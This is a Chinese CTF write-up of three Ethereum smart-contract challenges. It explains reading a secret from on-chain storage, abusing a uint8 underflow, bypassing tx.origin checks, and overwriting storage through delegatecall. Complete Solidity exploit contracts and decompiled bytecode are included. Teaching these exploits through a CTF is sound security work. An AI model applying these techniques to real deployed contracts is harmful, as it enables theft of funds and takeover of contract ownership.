目录
武大的比赛,第三题很有意思~
智能合约? 那是啥
- 20 pt
- 17 Solves
- 附件
- 题目描述:
- FLAG, 点击就送
下下来附件直接看源码,发现 flag 在链上存储,直接去这里查看即可

现在来做运算吧
- 198 pt
- 3 Solves
- 附件
- 题目描述:
- 无
压缩包里给了源码,先看怎么拿 flag:
function GetTheFlag(string b64email) public{ require(tx.origin != msg.sender); require(unlock[msg.sender] == true); emit FLAG(b64email, " You got the flag!!"); }
两个 require,第一个用合约调用绕过,第二个可能需要我们先解锁,搜索一下 unlock,发现在 deposit 里可以改变状态:
function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) { require(_value > 5); balances[_to] += _value; if (balances[_to] == 5) { unlock[msg.sender] = true; } }
仔细审计一下不难发现我们要满足两个矛盾的条件,我们不仅要给自己加一个比五块钱大的数,还要让我们的 balance 正好等于五块钱。如果只看这一个函数的话无解,所以再看看其他功能。有个转账的 Transfer 函数,没有检查下溢出,所以我们可以利用这一点来使这个看似矛盾的条件成了。
function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; }
所以我们先调用 transfer 给随便一个人转钱,把自己的余额下溢出(比如转 10 块钱,这样余额就是245),再调用 deposit 给自己充值 15 块钱,这样就满足了题目的条件。
此外,调用函数还需要输入个 pass,由于这个 pass 是存在链上的,所以按照第一题的方法直接去 etherscan 上找就行;还有一点就是上述操作都要用合约来进行以满足 tx.origin != msg.sender,至于原理请看这篇文章。我的合约 exp:
contract exp{ // imagin Author : imagin // Blog : https://imagin.vip // Filename : exp.sol // Usage : 部署后依次调用 exp1 exp2 exp3 string email = "aW1hZ2luX3NjaEAxMjYuY29t"; Bank b = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c); function exp() public payable{ b.Transfer.value(msg.value)(0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110, 10, 0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67); } function exp2(address addr)public payable{ b.Deposit.value(msg.value)(addr, 15, 0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67); } function exp3(string email) public { b.GetTheFlag(email); } function balan(address addr) view returns(uint) { return b.GetBalance(addr); } function lock(address addr) view returns(bool) { return b.GetLockedState(addr); } }
Easy_Contract
- 300 pt
- 1 Solves
- 附件
- 题目描述:
- 啊, 附件里好像少了点啥…
- 原地址无法接收flag,请使用新地址 新地址: 0x5200E5207b54A70adF77E150A9002dfEF2ECa805 其余信息不变
这题好像从头到尾都只有我一个人在做,合约的交易历史里都没有别人 2333。
压缩包里没源码,只能反编译完硬看,好在代码不长,勉强能看明白。
首先这个合约里提到了仨地址,0x59b4a0d7a0d648069e0145660722f0994b8327f3 是主合约,还有两个地址分别是 0x0a51475da3b09E13a71359D4cD3c295f0Caf1588 和 0xbd700aC7F56a35e8312478ED38688EABbd0A607C。去 etherscan 上反编译会发现这俩合约的编码一样,都是有个签名为 f1596cc8 的函数会把传过来的参数赋给 slot0:
def storage: stor0 is uint256 at storage 0 def _fallback() payable: # default function revert def unknownf1596cc8(uint256 _param1): # not payable stor0 = _param1
同时我们反编译主合约 0x59b4a0d7a0d648069e0145660722f0994b8327f3 的代码,首先把 storage 结构拎出来:
slot 0 : 0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588 slot 1 : 0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c slot 2 : 0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d slot 3 : 0x0000000000000000000000000000000000000000000000000000000000000000 slot 4 : 0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588 slot 5 : 0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c slot 6 : 0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d
会发现 slot 0 1 2 和 slot 4 5 6 是相等的,slot 0 1 又分别是题目给的另外两个合约的地址,slot 2 是创建合约的出题人地址。此外,题目给了 getflag 的函数叫 GetTheFlag,参数是一个 string,所以我们可以用下面的脚本算出来这个函数对应哪个签名:
import sha3 h = sha3.keccak_256("GetTheFlag(string)".encode()).hexdigest() print(h[:8]) # Output: # 576cc7e3
对应我们反编译后的代码,就是这一段:
def unknown576cc7e3(array _param1): # not payable mem[128 len _param1.length] = _param1[all] require caller != tx.origin require owner == tx.origin unknown396bdc6fAddress = stor4 unknown87e133cfAddress = stor5 owner = stor6 mem[ceil32(_param1.length) + 128] = 64 mem[ceil32(_param1.length) + 224 len ceil32(_param1.length)] = _param1[all], mem[_param1.length + 128 len ceil32(_param1.length) - _param1.length] mem[_param1.length + ceil32(_param1.length) + 224] = 19 mem[_param1.length + ceil32(_param1.length) + 256] = ' You got the flag!!'
可以看到主要有两个 require,我们得用一个出题人创建的合约调用这个函数才能成功。继续审源码,发现另外的函数很有意思:
def unknown79bf10e6(uint256 _param1): # not payable delegate unknown396bdc6fAddress with: funct (Mask(32, 224, sha3('PreserveID(uint256)')) >> 224) gas gas_remaining wei args _param1
这里用 delegate 调用了 unknown396bdc6fAddress,再看看 storage 布局,会发现 unknown396bdc6fAddress 就是 slot 0 的 PreserveID(),我们用之前的方法在计算下 PreserveID(uint256) 的哈希值,会发现前八位果然就是 f1596cc8。也就是说这里使用 delegate 调用 slot0 这个地址合约的 f1596cc8 函数,而这个函数会把传过来的参数写到 slot0 上(关于 delegate 造成变量覆盖的原理请看这里),就会覆盖掉本身的合约地址,也就是说我们可以通过调用这个函数把 slot0 指向攻击合约。
到这里题目基本就有下手点了,但是由于我做题时没完全理清楚逻辑,在做到这一步时我先去 etherscan 上翻出题人部署的其他合约,想通过将 slot0 覆盖成出题人的另一个合约,再通过某种方式覆盖掉 memory 上的调用信息来获得 flag,但是很遗憾第一个是没找到出题人部署的合适的合约,第二是是在不知道怎么覆盖掉 memory(这里应该是没法覆盖的,做题时脑残了),所以卡了很久。后来跟出题人讨( p ) 论 ( y ) 了一波才发现直接把 slot0 指向我部署的合约就可以了 o(╥﹏╥)o。
如果合约不是出题人部署的,那我们还得想办法满足 owner == tx.origin,也就是说我们需要把 owner 覆盖掉,这就简单多了。我们第一次调用 79bf10e6 把 slot0 覆盖成攻击合约的地址,再调用一次 79bf10e6,这样主合约就会调用攻击合约的 PreserveID(),由于攻击合约的代码是我们完全可控的,在这里把 slot2 覆盖成我的以太坊地址就可以满足条件 getflag。我的 exp:
contract exp{ // imagin Author : imagin // Blog : https://imagin.vip // Filename : exp.sol // Usage : 部署后依次调用 step1 step2 getflag bytes32 rub1; bytes32 rub2; address owner; address tt = 0x5200E5207b54A70adF77E150A9002dfEF2ECa805; target tar = target(tt); address public my; function step1(address addr){ my = addr; bytes4 methodId = bytes4(0x07d8d717); tt.call(methodId, addr); } function step2(address addr){ bytes4 methodId = bytes4(0x79bf10e6); tt.call(methodId, 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110); } function PreserveID(uint256 a) public{ owner = 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110; } function getflag(){ tar.GetTheFlag("aW1hZ2luX3NjaEAxMjYuY29t"); } function getOwner()public view returns(address){ return tar.owner(); } }
这个 exp 调试花了挺长时间的,第一是因为套娃调用,默认的 gas 值会不够而导致交易失败,在交易界面给 Gas Limit 加个 0 就好了。

其次,由于是 delegate call,所以不要在攻击合约里写 this,会被当做主合约的地址解析。
大佬,EASY_CONTRACT的wp中的target合约能康康吗